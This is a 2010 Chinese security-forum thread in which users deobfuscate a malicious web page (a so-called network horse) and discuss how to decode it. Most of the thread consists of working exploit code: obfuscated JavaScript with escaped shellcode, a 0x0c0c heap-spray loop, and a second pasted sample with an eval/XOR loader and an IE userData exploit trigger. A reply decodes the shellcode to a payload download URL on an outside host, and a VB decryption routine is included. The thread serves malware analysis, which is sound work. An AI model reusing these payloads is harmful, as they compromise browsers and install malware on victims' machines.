有段代码不懂解 bbs.ikaka.com

长门有希 - 2010-4-7 22:48:00

CODE:

var bak, bak1, bak2, bak3, bak4; bak='%';var wud='%';var tihs='%';var jj=bak+'u'+'4B5B';var lzg='%'; bak1='u'; wud+='u'; tihs+='u';var kk=bak+'u'+'CD36';lzg+='u'; bak2='58';wud+='B'; tihs+='B';var ll=bak+'u'+'BD8F';lzg+='B'; bak3=bak+bak1+'5'; wud+='D'; tihs+='D';var mm=bak+'u'+'E9D0';lzg+='DD'; bak4=bak3+'8'+'58%'+bak1+bak2+bak2;wud+='BC'; tihs+='B';tihs+='D';var oo=bak+'u'+'FB7A';lzg+='7'; var WMAHWM='B%u4627%uA'; var LHAH=bak3+'8'+'5'+'8'+bak+bak1+bak2+bak2+'%u10EB'+jj+'%uC933%uB966%u03B8%u3480%uBD0B%uFAE2%'+'u';var HHAH='05EB%'+'uEBE8%uFFFF%u54FF%uBEA3'+tihs+'%uD9E2%u8D1C'+tihs+'%'; var SSAH='u36BD%uB1FD'+kk+'%u10A1%'+'uD536%u36B5%uD74A%uE4AC%u0355%uBDBF%'+'u2DBD'+'%'; var oah='u455F%u8ED5'+ll+'%uD5BD%uCEE8%uCFD8%u36E9%uB1FB%u0355%u'; var org='u2355%uBDBF%'+'u'; oah+='BDBC%u36BD%uD755%uE4B8%'+org+'5FBD%uD544%uD3D2'+tihs+'%'; var org1='%'+'uD2D5%uBDD3%'; oah+='uC8D5%uD1CF'+mm+'%uAB42%u7D38%uAEC8'+org1+'uD5BD%uCFC8%uD0D1%u36E9'; var org2='uD355%'+'uBDBF%'; oah+='%uB1FB%u3355'+wud+'%u36BD%uD755%uE4BC%'+org2+'u5FBD%'; var org3='%'+'u8ED1%uBD8F%'+'u'; oah+='uD544'+org3+'CED5%uD8D5%uE9D1%uFB36%u55B1%uBCD2'+tihs+'%u'; var org4='5E4%'+'uBFF'; oah+='5536%uBCD7%u5'+org4+'2'+tihs+'%u445F%u513C%uBCBD'+tihs+'%'; var org5='uBDD7%'+'uA7D7%'; oah+='u6136%u7E3C%uBD3D'+tihs+'%'+org5+'uD7EE%'; var org6='uC8BD%u7A44%'+'u'; oah+='u42BD%uE1EB%u7D8E%u3DFD%uBE81%'+org6+'BEB9%uDBE1%uD893%'; var org7='C5%'+'uBDBD%u748E%'+'uEC'; oah+='uF97A%uB9BE%uD8'+org7+'EC%uEAEE%u8EEC%u367D%uE5FB%'; var org8='uBDBC%'+'u3EBD%uBD'; oah+='u9F55%'+org8+'45%u1E54'+tihs+'%u2DBD%uBDD7%uBDD7%uBED7%'; var org9='EE7D%uFB36%'+'u55'; oah+='uBDD7%uBFD7%uBDD5'+tihs+'%u'+org9+'99%uBCBC'+tihs+'%'; var org10='7DD%uEDBD%'+'uEB42%u3495%'+'uD'; oah+='uFB34%uD'+org10+'9FB%uFB36%uD7DD%uD7BD%uD7BD%'; var org11='BD%uEB42%'+'uD791%uD'; oah+='uD7BD%uD7B9%uED'+org11+'7BD%uD7BD%uD5BD%uBDA2%uBDB2%'; var org12='u36C5%'+'uD9F3%uC13D%u4'; oah+='u42ED%u81EB%uFB34%'+org12+'2B5%uC909%u3DB1%uB5C1%'; oah+='uBD42%uB8C9%uC93D%u42B5%u5F09%u3456%u3D3B'+tihs+'%u7ABD%uCDFB'+tihs+'%u'; oah+='BDBD'+oo+'%uBDC9'+tihs+'%uD7BD%uD7BD%uD7BD%u36BD%uDDFB%'; oah+='u42ED%u85EB%u3B36%uBD3D'+tihs+'%uBDD7%uF330%uECC9%uCB42%uEDCD%uCB42%u4'; oah+='2DD%u8DEB%uCB42%u42DD%u89EB%uCB42%u42C5%uFDEB%u4636%u7D8E%u668E%u513C%uB'; oah+='FBD'+tihs+'%u7136%u453E%uC0E9%u34B5%uBCA1%u7D3E%u56B9%u364'; oah+='E%u3671%'+'u3E64%'+'uAD7E%u7D8E%uECED%uEDEE%uEDED%uEDED%uEAE'; oah+='D%uEDED%uEB42%u36B5%uE9C3%uAD55'+wud+'%u55BD%uBDD8'+tihs+'%uD'; oah+='ED5%uCACB%uD5BD%uD5CE%uD2D9%u36E9%uB1FB%u9955'+tihs+'%u3'; oah+='4BD%u81FB%u1CD9%uBDB9'+tihs+'%u1D30%u42DD%u4242%uD8D7%uCB42%u3681%'; oah+='uADFB%uB555'+tihs+'%u8EBD%uEE66%uEEEE%u42EE%u3D6D%u5585%u853D%uC854%'; oah+='u3CAC%uB8C5%u2D2D%u2D2D%uB5C9%u4236%u36E8%u3051%uB8FD%u5D42%u1B5'; oah+='5'+tihs+'%u7EBD%u1D55'+tihs+'%u05BD%uBCAC%u3DB9%uB17F%u55BD%uBD2E'+tihs+'%u5'; oah+='13C%uBCBD'+tihs+'%u4136%u7A3E%u7AB9%u8FBA%u2CC9%u7AB1%uB9FA%u34DE%uF26C%'; oah+='uFA7A%u1DB5%u2AD8%u7A76%uB1FA%uFDEC%uC207%uFA7A%u83AD%u0BA0%u7A8'; oah+='4%uA9FA%uD405%uA669%uFA7A%u03A5%uDBC2%u7A1D%uA1FA%u1441%u108A%uF'; oah+='A7A%u259D%uADB7%uD945%u8D1C'+tihs+'%u36BD%uB1FD%uCD36%u10A1%uD536%u36B5%uD'; oah+='74A%uE4B9%uE955'+tihs+'%u2DBD%u455F%u8ED5%uBD8F%uD5BD%uCEE8%uCFD8%u36'; oah+='E9%u55BB%u42E8%u4242%u5536%uB8D7%u55E4%uBD88'+tihs+'%u445F%u428E%u42EA%uB9EB%uBF56%u7E'; oah+='E5%u4455%u4242%uE642%uBA7B%u3405%uBCE2%u7ADB%uB8FA%u5D42%uEE7'; oah+='E%u6136%uD7EE%uD5FD%uADBD'+tihs+'%u36EA%u9DFB%uA555%u4242%uE542%uEC7'; oah+='E%u36EB%u81C8%uC936%uC593%u48BE%u36EB%u9DCB%u48BE%u748E%uFCF4%uBE10%u8E78%uB26'; oah+='6%uAD03%u6B87%uB5C9%u767C%uBEBA%uFD67%u4C56%uA286%u5AC8%u36E3%u99E3%u60BE%u36DB%uF6B1%uE33'; oah+='6%uBEA1%u3660%u36B9%u78BE%uE316%u7EE4%u6055%u4241%u0F42%u5F4F%u8449%uC05F%u'; oah+='673E%uC6F5%u8F80%u2CC9%u38B1%u1262%uDE06%u6C34%uECF2%u07FD%u1DC2%u2AD8%uA37'; oah+='6%uD919%u2E52%u598F%u3329%uB7AE%u7F11%uF6A4%u79BC%uA230%uEAC9%uB0DB%uFE42%u1103%uC066%u18'; oah+='4D%uEF27%u1A43%u8367%u0BA0%u0584%u69D4%u03A6%uDBC2%u411D%u8A14%u2510%u';

var RWkObpJ8 = eval;aGGw2="6B7C6F3D727C7572203A5C595F2A38682E59292838682C2F2B3A364A505C554A50363A2558583A2610176B7C6F3D5C5355585420727C7572363A38687928797F38687E247E243868252A7E793868242F242F3868792E792A38687E297E243868242E25253868257825783868257B257B3868792F242E3868797C7E7B3868257B252A3868242F252838687E28242E3868792D797E38687F79792C38687F797F7938687F797F793A2610176B7C6F3D444E6A4D684F6A754B53675C5C51544F65657154476B53505B54696D6D5B5F5E587E717F4B7A524A5C4456777E765557676C524C71696A6A7B536C525E4E594C716473206873786E7E7C6D783551555C553655555C55364E4E5C5536727C75365C53555854342610176A7B504A5F736E5B7F686E716E6F4F65734C447853495265675170536C79716755494870485053524C6C5C6B697F6C575E5C6F7F47597770785B7A2073786A3D5C6F6F7C6435342610176B7C6F3D53515454527C4A584A6C202D65252B2D2D2D3035444E6A4D684F6A754B53675C5C51544F65657154476B53505B54696D6D5B5F5E587E717F4B7A524A5C4456777E765557676C524C71696A6A7B536C525E4E594C716473337178737A6975372F342610176B7C6F3D796E5076797E6D6F7F6F6854547E5A716D6C4E736A48576A48504449564E6B206873786E7E7C6D78353A38682D7E2D7E38682D7E2D7E3A342610176A7574717835796E5076797E6D6F7F6F6854547E5A716D6C4E736A48576A48504449564E6B337178737A69752153515454527C4A584A6C322F3466101714796E5076797E6D6F7F6F6854547E5A716D6C4E736A48576A48504449564E6B3620796E5076797E6D6F7F6F6854547E5A716D6C4E736A48576A48504449564E6B261017141017606B7C6F3D655353687055684D72767E6C716C6E72787E52757E5B485C517758474C796B556A7B7B5F586F495075746A7C5355695F6C595144676F7420796E5076797E6D6F7F6F6854547E5A716D6C4E736A48576A48504449564E6B336E687F6E696F74737A352D3153515454527C4A584A6C322F342610177978717869783D796E5076797E6D6F7F6F6854547E5A716D6C4E736A48576A48504449564E6B26101710173D7B726F35694C7673487F4E686D554D7F727E5B45202D263D694C7673487F4E686D554D7F727E5B45212F2A2D263D694C7673487F4E686D554D7F727E5B453636343D6610173D3D6A7B504A5F736E5B7F686E716E6F4F65734C447853495265675170536C79716755494870485053524C6C5C6B697F6C575E5C6F7F47597770785B7A46694C7673487F4E686D554D7F727E5B45403D203D655353687055684D72767E6C716C6E72787E52757E5B485C517758474C796B556A7B7B5F586F495075746A7C5355695F6C595144676F743D363D655353687055684D72767E6C716C6E72787E52757E5B485C517758474C796B556A7B7B5F586F495075746A7C5355695F6C595144676F743D363D444E6A4D684F6A754B53675C5C51544F65657154476B53505B54696D6D5B5F5E587E717F4B7A524A5C4456777E765557676C524C71696A6A7B536C525E4E594C7164732610173D602610174C64654B502E203F537C533F2644795C7378572C203F537C533F26706E54786F28203F537C533F266C5659522E203F537C533F266E4B6D494B7B452D203F537C533F265451784A2E203F537C533F2656744D72722E203F537C533F26707B4B45552F203F537C533F264A5F4D682A203F537C533F266E52597E5B7B4F2C203F537C533F26496F5B5329203F537C533F26716D4C4528203F537C533F267C5A5A6A2F203F537C533F26485273572C203F537C533F264F4A76527F6D5725203F537C533F26";QyxVM3="function YdAneJ1(){msIer5=Math.PI;qKDO3=parseInt;sVpTVfX0='length';ILeW3=qKDO3(~((msIer5&msIer5)|(~msIer5&msIer5)&(msIer5&~msIer5)|(~msIer5&~msIer5)));KiPoo3=qKDO3(((ILeW3&ILeW3)|(~ILeW3&ILeW3)&(ILeW3&~ILeW3)|(~ILeW3&~ILeW3))&1);/*Encrypt By Dadong's JSXX 0.31 VIP*/mfVXH2=KiPoo3<

:kaka8: 像这种怎么解?

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; QQPinyin 730; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Maxthon 2.0)

梅罗 - 2010-4-7 22:56:00

纯手动的话把所有变量最终赋值结果写出来替换；
嫌麻烦就去神器里跑跑eval脚本；
如果下面这个是eval加密，代码就没全
上面的把oah的最终结果替换出来之后就是一段shellcode
凭经验的话一般eval这段解出来应该还有一段shellcode包含了网马地址前面那段都是干扰~不过有可能里面的变量在eval解密出的shellcode里要用到

http://bbs.ikaka.com/showtopic-8699270.aspx 类似的参考这里
http://bbs.ikaka.com/showtopic-8700401.aspx 还有这里

Cool_wXd - 2010-4-8 9:25:00

[复制到剪贴板]

CODE:

var oaho='ADB7%u3D45%u126'+WMAHWM+'8EE';
var ANHEI=oaho+'%ud5db%uc9c9%u87cd%u9292%ud3d7%uc4c9%u9388%u8e8e%u8f8f%ud293%udacf%u8f87%u9285%uc593%ud0dc%ubdd1%ubdbd%ubdbd';
var YSwPuRwhVNzAALIRxxlIZvNMFItppFBCEclbVgOWAYKjckHJzqOQltwwfNqOCSDQlyn=unescape(LHAH+HHAH+SSAH+oah+ANHEI);
wfMWBnsFbuslsrRxnQYeNTOxzLmNqdlzHTUmUMNOQqAvtbqJCArbZDjmeFg=new Array();
var NLIIOaWEWq=0x86000-(YSwPuRwhVNzAALIRxxlIZvNMFItppFBCEclbVgOWAYKjckHJzqOQltwwfNqOCSDQlyn.length*2);
var dsMkdcprbruIIcGlpqSnwUJwUMYTKSv=unescape('%u0c0c%u0c0c');
while(dsMkdcprbruIIcGlpqSnwUJwUMYTKSv.length<NLIIOaWEWq/2){
dsMkdcprbruIIcGlpqSnwUJwUMYTKSv+=dsMkdcprbruIIcGlpqSnwUJwUMYTKSv;

}var xNNumHuPokcqlqsoecOhcFUALjEZQdvHwffBErTMhiwaNHtBqDLYzri=dsMkdcprbruIIcGlpqSnwUJwUMYTKSv.substring(0,NLIIOaWEWq/2);
delete dsMkdcprbruIIcGlpqSnwUJwUMYTKSv;

for(tQknUbSupHPbocFX=0; tQknUbSupHPbocFX<270; tQknUbSupHPbocFX++) {
wfMWBnsFbuslsrRxnQYeNTOxzLmNqdlzHTUmUMNOQqAvtbqJCArbZDjmeFg[tQknUbSupHPbocFX] = xNNumHuPokcqlqsoecOhcFUALjEZQdvHwffBErTMhiwaNHtBqDLYzri + xNNumHuPokcqlqsoecOhcFUALjEZQdvHwffBErTMhiwaNHtBqDLYzri + YSwPuRwhVNzAALIRxxlIZvNMFItppFBCEclbVgOWAYKjckHJzqOQltwwfNqOCSDQlyn;
};
QyxVM3="NaN";YdAneJ1="NaN";msIer5="NaN";qKDO3="NaN";sVpTVfX0="NaN";ILeW3="NaN";KiPoo3="NaN";mfVXH2="NaN";WBPu7="NaN";sODcFfR1="NaN";TrFN4="NaN";lpQX5="NaN";aGGw2="NaN";UOnJ1="NaN";RWkObpJ8="NaN";

hex字符串解密结果

梅罗 - 2010-4-8 17:28:00

[复制到剪贴板]

CODE:

'ADB7%u3D45%u126'+WMAHWM+'8EE';
var ANHEI=oaho+'#####%ud5db%uc9c9%u87cd%u9292%ud3d7%uc4c9%u9388%u8e8e%u8f8f%ud293%udacf%u8f87%u9285%uc593%ud0dc%ubdd1%ubdbd%ubdbd'######;

####号之间这段shellcode基本就是网马地址，其它之前的oaho其实基本就是干扰。
WMAHWM=X%XXXX%XXXX%X 也会隐藏在那个eval解出来的东西里~
把##之间这段放到freshow里shellcode解密得到：

[复制到剪贴板]

CODE:

'f[url]http://jnty5.3322.org:28/.xaml'[/url]

长门有希 - 2010-4-8 18:04:00

[复制到剪贴板]

CODE:

k|o=r|ur :\Y_*8h.Y)(8h,/+:6JP\UJP6:%XX:&k|o=\SUXT r|ur6:8hy(y8h~$~$8h%*~y8h$/$/8hy.y*8h~)~$8h$.%%8h%x%x8h%{%{8hy/$.8hy|~{8h%{%*8h$/%(8h~($.8hy-y~8hyy,8hyy8hyy:&k|o=DNjMhOjuKSg\\QTOeeqTGkSP[Timm[_^X~qKzRJ\DVw~vUWglRLqijj{SlR^NYLqds hsxn~|mx5QU\U6UU\U6NN\U6r|u6\SUXT4&j{PJ_sn[hnqnoOesLDxSIRegQpSlyqgUIHpHPSRLl\kilW^\oGYwpx[z sxj=\oo|d54&k|o=SQTTR|JXJl -e%+---05DNjMhOjuKSg\\QTOeeqTGkSP[Timm[_^X~qKzRJ\DVw~vUWglRLqijj{SlR^NYLqds3qxsziu7/4&k|o=ynPvy~moohTT~ZqmlNsjHWjHPDIVNk hsxn~|mx5:8h-~-~8h-~-~:4&jutqx5ynPvy~moohTT~ZqmlNsjHWjHPDIVNk3qxsziu!SQTTR|JXJl2/4fynPvy~moohTT~ZqmlNsjHWjHPDIVNk6 ynPvy~moohTT~ZqmlNsjHWjHPDIVNk&`k|o=eSShpUhMrv~lqlnrx~Ru~[H\QwXGLykUj{{_XoIPutj|SUi_lYQDgot ynPvy~moohTT~ZqmlNsjHWjHPDIVNk3nhniotsz5-1SQTTR|JXJl2/4&yxqxix=ynPvy~moohTT~ZqmlNsjHWjHPDIVNk&={ro5iLvsHNhmUMr~[E -&=iLvsHNhmUMr~[E!/*-&=iLvsHNhmUMr~[E664=f==j{PJ_sn[hnqnoOesLDxSIRegQpSlyqgUIHpHPSRLl\kilW^\oGYwpx[zFiLvsHNhmUMr~[E@= =eSShpUhMrv~lqlnrx~Ru~[H\QwXGLykUj{{_XoIPutj|SUi_lYQDgot=6=eSShpUhMrv~lqlnrx~Ru~[H\QwXGLykUj{{_XoIPutj|SUi_lYQDgot=6=DNjMhOjuKSg\\QTOeeqTGkSP[Timm[_^X~qKzRJ\DVw~vUWglRLqijj{SlR^NYLqds&=`&LdeKP. ?S|S?&Dy\sxW, ?S|S?&pnTxo( ?S|S?&lVYR. ?S|S?&nKmIK{E- ?S|S?&TQxJ. ?S|S?&VtMrr. ?S|S?&p{KEU/ ?S|S?&J_Mh* ?S|S?&nRY~[{O, ?S|S?&Io[S) ?S|S?&qmLE( ?S|S?&|ZZj/ ?S|S?&HRsW, ?S|S?&OJvRmW% ?S|S?&

解出来是乱码,怎么回事?

湖心小筑 - 2010-4-9 10:48:00

主要原因是你下面的代码不全，用神器可以跑我下面是从别的网马下载的你看看是不是跟你的很像，我用神器解密运行脚本就跑出来了

var zcnxi4 = eval;LUUI7="263122703F31383F6D77111412677525631464657525616266777B071D1118071D7B77681515776B5D5A26312270111E1815196D3F31383F7B77752534653432752533693369752568673334752569626962752534653467752533693336752569636869752568356835752568366836752534626963752534313336752568366867752569626865752533313331752569633331752534333436752534693464752569633368752534623435752532343460752532343234752532343234776B5D5A263122700903270025022738061E2A11111C190228283C190A261E1D161924202016121315333C3206371F0711091B3A333B181A2A211F013C242727361E211F130314013C293E6D253E352333312035781C1811187B181811187B030311187B3F31387B111E181519796B5D5A27361D07123E23163225233C232202283E0109351E041F282A1C3D1E21343C2A1804053D051D1E1F012111262432211A131122320A143A3D3516376D3E352770112222312978796B5D5A263122701E1C19191F31071507216D602868666060607D780903270025022738061E2A11111C190228283C190A261E1D161924202016121315333C3206371F0711091B3A333B181A2A211F013C242727361E211F130314013C293E7E3C353E3724387A62796B5D5A2631227034231D3B34332022322225191933173C2021033E27051A27051D09041B03266D253E352333312035787775256033603375256033603377796B5D5A2738393C357834231D3B34332022322225191933173C2021033E27051A27051D09041B03267E3C353E3724386C1E1C19191F31071507217F62792B5D5A5934231D3B34332022322225191933173C2021033E27051A27051D09041B03267B6D34231D3B34332022322225191933173C2021033E27051A27051D09041B03266B5D5A595D5A2D26312270281E1E253D1825003F3B33213C21233F35331F38331605111C3A150A01342618273636121522041D383927311E18241221141C092A22396D34231D3B34332022322225191933173C2021033E27051A27051D09041B03267E232532232422393E3778607C1E1C19191F31071507217F62796B5D5A34353C3524357034231D3B34332022322225191933173C2021033E27051A27051D09041B03266B5D5A5D5A70363F227824013B3E05320325201800323F3316086D606B7024013B3E05320325201800323F3316086C6267606B7024013B3E05320325201800323F3316087B7B79702B5D5A707027361D07123E23163225233C232202283E0109351E041F282A1C3D1E21343C2A1804053D051D1E1F012111262432211A131122320A143A3D3516370B24013B3E05320325201800323F3316080D706D70281E1E253D1825003F3B33213C21233F35331F38331605111C3A150A01342618273636121522041D383927311E18241221141C092A2239707B70281E1E253D1825003F3B33213C21233F35331F38331605111C3A150A01342618273636121522041D383927311E18241221141C092A2239707B700903270025022738061E2A11111C190228283C190A261E1D161924202016121315333C3206371F0711091B3A333B181A2A211F013C242727361E211F130314013C293E6B5D5A702D6B5D5A381F1F3138361D676D721E311E726B173E063D073525666D721E311E726B023A2A1B656D721E311E726B1D221B3E36003D606D721E311E726B39003D23686D721E311E726B11223E022629636D721E311E726B3617243A656D721E311E726B34020117636D721E311E726B193F32011C676D721E311E726B3C1D2438656D721E311E726B08320106252803616D721E311E726B2A3D2A03656D721E311E726B1C050519676D721E311E726B29193318676D721E311E726B2A333E2839646D721E311E726B";hOOahfM7="function GnVmWeu6(){RjzK5=Math.PI;MrKnfPm0=parseInt;iPms8='length';ArnRvy3=MrKnfPm0(~((RjzK5&RjzK5)|(~RjzK5&RjzK5)&(RjzK5&~RjzK5)|(~RjzK5&~RjzK5)));fGtj5=MrKnfPm0(((ArnRvy3&ArnRvy3)|(~ArnRvy3&ArnRvy3)&(ArnRvy3&~ArnRvy3)|(~ArnRvy3&~ArnRvy3))&1);/*Encrypt By Dadong's JSXX 0.31 VIP*/dRQG3=fGtj5<<fGtj5;IobQL7=ArnRvy3;IobQL7=ArnRvy3;lMth5='';XbQVuxS1=eval(unescape('%5'+'3%74%'+'72%69%6'+'E%67%2E%'+'66%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F'+'%64%65'));yIcH7=zcnxi4;for(zmzS5=ArnRvy3;zmzS5<hOOahfM7[iPms8];zmzS5-=-fGtj5)IobQL7+=hOOahfM7.charCodeAt(zmzS5);IobQL7%=unescape(ArnRvy3+unescape('x')+(1<<6));for(zmzS5=ArnRvy3;zmzS5<LUUI7[iPms8];zmzS5+=dRQG3)lMth5+=XbQVuxS1(MrKnfPm0(ArnRvy3+unescape('x')+LUUI7.charAt(zmzS5)+LUUI7.charAt(zmzS5+MrKnfPm0(fGtj5)))^IobQL7);try{yIcH7(lMth5);}catch(e){try{zcnxi4(lMth5);}catch(e) {window.location='/';}}}try{zcnxi4('GnVmWeu6();')}catch(e) {alert('ere');}";var LpDooH3 = zcnxi4(zcnxi4);LpDooH3(hOOahfM7);function WzdLiWKZevlgmLyiBITcqfDodayoljhqyoEwCJBe(){ var mNkQBGGxtqlghauiaUpjbyCOjIVbnWnqDQBAuhOv = document.createElement('body'); mNkQBGGxtqlghauiaUpjbyCOjIVbnWnqDQBAuhOv.addBehavior('#default#userData'); document.appendChild(mNkQBGGxtqlghauiaUpjbyCOjIVbnWnqDQBAuhOv); try { for (tQknUbSupHPbocFX=0; tQknUbSupHPbocFX<10; tQknUbSupHPbocFX++) { mNkQBGGxtqlghauiaUpjbyCOjIVbnWnqDQBAuhOv.setAttribute('s',window); } } catch(e){ } window.status+=''; } document.getElementById('yEcOINWqzAvRosxxYgfclJYYclNTLbYCYFtXENkMxhsYvkGkpiwAZqiGoKePsqQqkxgBXxZQKYzdhiEfqwBXZjZwQp').onclick();

Cool_wXd - 2010-4-9 15:39:00

送上VB的解密代码

[复制到剪贴板]

CODE:

Function Crack(data, salt)
'首先是用salt字符串把密钥算出来
Dim s As Long
For i = 1 To Len(salt)
s = s + Asc(Mid(salt, i, 1))
Next
s = s Mod 100

'然后开始对十六进制字符串进行解密
Dim str As String
For j = 1 To Len(data) Step 2
t = HEX2DEC(Mid(data, j, 2))
str = str & Chr(t Xor s)
Next
Crack = str
End Function

Function HEX2DEC(ByVal Hex As String) As Long
Dim i As Long
Dim B As Long

Hex = UCase(Hex)
For i = 1 To Len(Hex)
Select Case Mid(Hex, Len(Hex) - i + 1, 1)
Case "0": B = B + 16 ^ (i - 1) * 0
Case "1": B = B + 16 ^ (i - 1) * 1
Case "2": B = B + 16 ^ (i - 1) * 2
Case "3": B = B + 16 ^ (i - 1) * 3
Case "4": B = B + 16 ^ (i - 1) * 4
Case "5": B = B + 16 ^ (i - 1) * 5
Case "6": B = B + 16 ^ (i - 1) * 6
Case "7": B = B + 16 ^ (i - 1) * 7
Case "8": B = B + 16 ^ (i - 1) * 8
Case "9": B = B + 16 ^ (i - 1) * 9
Case "A": B = B + 16 ^ (i - 1) * 10
Case "B": B = B + 16 ^ (i - 1) * 11
Case "C": B = B + 16 ^ (i - 1) * 12
Case "D": B = B + 16 ^ (i - 1) * 13
Case "E": B = B + 16 ^ (i - 1) * 14
Case "F": B = B + 16 ^ (i - 1) * 15
End Select
Next i
HEX2DEC = B
End Function

长门有希 - 2010-4-9 16:41:00

:kaka12: 谢谢楼上几位的解答

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